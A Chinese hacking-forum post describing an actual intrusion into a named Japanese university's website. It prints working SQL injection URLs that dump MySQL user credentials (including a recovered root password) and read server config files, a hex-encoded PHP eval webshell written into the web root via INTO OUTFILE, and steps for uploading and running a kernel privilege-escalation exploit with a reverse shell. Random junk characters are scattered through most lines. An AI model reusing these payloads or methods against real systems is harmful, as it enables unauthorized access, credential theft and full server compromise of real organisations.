入侵日本同志社大学技术分析
! S8 F. M7 I- [# [6 v. @
8 R7 \& W% `' K* N* ^: G8 Ghttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
* }3 L0 o3 u D4 `然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
' _- [5 P0 z6 V: B' x
; K) V4 F- H* [7 N0 p. Yhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user( K4 @6 v ?; u/ u2 y, q2 w
6 f% a' T Q" a) }+ Q6 n0 g9 |+ K ) A+ M! y2 m/ E6 H. { U" t! P
Q9 n+ [+ a& z) v8 i//@@datadir为数据库文件路径
. B& w/ |5 [# q8 [ w2 j. Q
9 `/ a/ A$ ]5 m Z2 @- s
; Y& O) `' ]) Z//load_file读取网站容器apache的配置文件
+ t& m" y% A2 T# A ` - q5 p/ b h; `5 b% l- y, R3 C6 B% h
- p d# o+ P) o- @/ A- D
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 4 f2 i! }2 t4 [2 b: Z9 ?
复制代码( O" m" c8 q) i5 {- y9 u5 ?- I X
9 O3 m7 y0 Q) x0 x6 D虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。, u. s# E. e6 @9 m0 J3 X! U
- `6 j8 q0 y8 M( S( j- S. J
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
6 C G& {- E$ q. l(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
" q# N e* r% z: \3 u
6 n1 y. Y A) N/ t前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
# R) c; y; d) H1 r/ C如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
# i9 x# V1 G3 Y4 }5 ^: t7 p: t) k. K6 a4 m0 G5 w' c8 z
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/8 N$ y I: Y! H& w6 K( f' t
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
2 O" c0 k. K g直接写一句话:# {3 y! q4 x# x
P' e8 d: r1 N! nhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
F/ ~3 e2 B: m! x# Z4 M
2 \2 e. v/ L" l7 W- \1 A
: n) K2 Y) M# N9 e/ a
7 O, n. x5 }0 S; K8 ^//最后的#是为了闭合前面的语句 ( o" O1 `# y% B4 f3 \1 J8 g3 o
9 c" X+ N& u$ O( e
, a" `. ]6 U+ |5 D) Y) T; Q; {/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
* j# Q1 X; v' O+ R
- B( e, X+ {$ f- @2 a6 C0 z) \8 I, F% Z
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
' H2 q+ E/ }" a* G) a+ d; \ @" J. _, X1 O! G* R
% o* o: k, K, ?% u% m2 Z4 H//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 4 O/ x3 Q3 q. b! g! |
- U* b' g7 t: v( @* Q- c8 ~5 N
$ m% R3 {8 x% }* P4 L//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 5 K2 F' \' H, S1 k
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” . I2 a/ F( |3 ~2 d1 a
复制代码
- v# w) ^$ L g
6 \( f y% }# H5 L: x& lHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有+ \& u% `: J9 Q$ i
通过上述注入语句,我们就得到了一句话木马:
4 H6 }& k3 d7 y4 V, I
7 r" T* w8 Q* ]1 t
3 ~" L2 t; c5 ~, x! P0 E+ s+ W2 z( C/ O1 L. D/ q6 b3 ]3 I, N4 [
7 f# q! @5 ]& w4 z# o
/ C1 q; A1 B, v. E
http://www.doshisha.ac.jp/english/engnews_img/aa.php
. m* S, x3 d& {# }% O复制代码9 m+ ^4 P: ?4 v6 c& }
8 Y! F% t% Y8 F用菜刀连接,密码是cmd,如图所示:
' o% i1 f; U$ H2 p7 s, N然后在命令提示行里看了一下,现在的权限是:
1 [8 A/ d# H7 S/ B3 {6 P" i+ V/ k/ N$ q* K1 ~! Y7 e5 l% g m6 k2 _4 T, L
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。 `& C4 y7 O6 H6 a; R) Y9 t4 g0 u
好在赋权给这个文件夹不需要root,直接执行赋权语句:. l7 q! x) P& W4 T3 O
. }& |6 d& o6 E
0 F1 V# w j& k( m" M$ L. r m0 b
& C1 _6 Z$ N: N' K
& W' G3 C# o6 D' Z' {chmod +x /tmp/ 3 r: ]+ y* F, a, i6 W
复制代码
" i/ ?8 X, k" z" {9 T% C0 H2 _$ B5 d2 X( G& j* c P% [* N
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
: {* V3 a) L3 ^* U然后就查了一下内核版本:" m- L1 b( X( `+ U4 I
/ T& z) r W$ {& h4 l
# q3 a9 N. ~5 Y3 i
) l7 G2 E$ T& l }
5 T' @. y" X! U5 l5 q' L- E' m" z
+ B9 K" I* t) I- Y- x# v5 I
uname-a
8 ]% ]- T$ _" K( ?& Z
7 s9 H8 ?' V4 ^ A7 Q
. `% E9 {( u+ [: s9 ]- W$ F//其实lsb_release -a
4 K$ J5 X- F5 _( E4 I复制代码
8 m% A( J8 s' t+ o- H! x @
9 M0 G& O2 p+ m% w/ u7 q5 a0 p6 t/ O+ K如图所示:" P- \6 L' ^7 f I) i, L! F6 C
p) J" |2 e4 F* S' _* a
内核版本:linux mainz1 2.6.28-194.e15
/ X% G! L5 n+ G- d4 ~7 w V系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
) F: q K N8 ]9 O& ~0 W查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
5 u$ A$ n5 o8 B& i* c% X. h7 j$ g. L+ }& v
然后给予执行权限& t) @' |8 F& I' d% u. v3 O
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
2 b# P, @% g7 J5 |- P+ A# H8 A, q. M; x+ o3 p7 D2 C( F1 ?
3 R0 E5 }: C3 b! `& [% ~; C: U! H: |1 ^# q Y$ e$ z
_5 p* i' C& H+ J# w+ [
3 z3 p8 `3 b7 K( R. b; `5 z
chmod +x /tmp/2.6.18-194
# {: ~. _( g$ }1 S, j复制代码 然后直接执行!~ C8 O; o9 L+ N2 x9 Y, ~
) U. [9 g4 o p# O0 |1 n
总结:
1 d6 B8 W. |: s! L. R% ]$ a这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
" l% a2 u! ?$ ~- V$ ^' O提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
( V- O" {' T! B$ _' a/ ?- E7 y% l7 T/ A% d8 N
|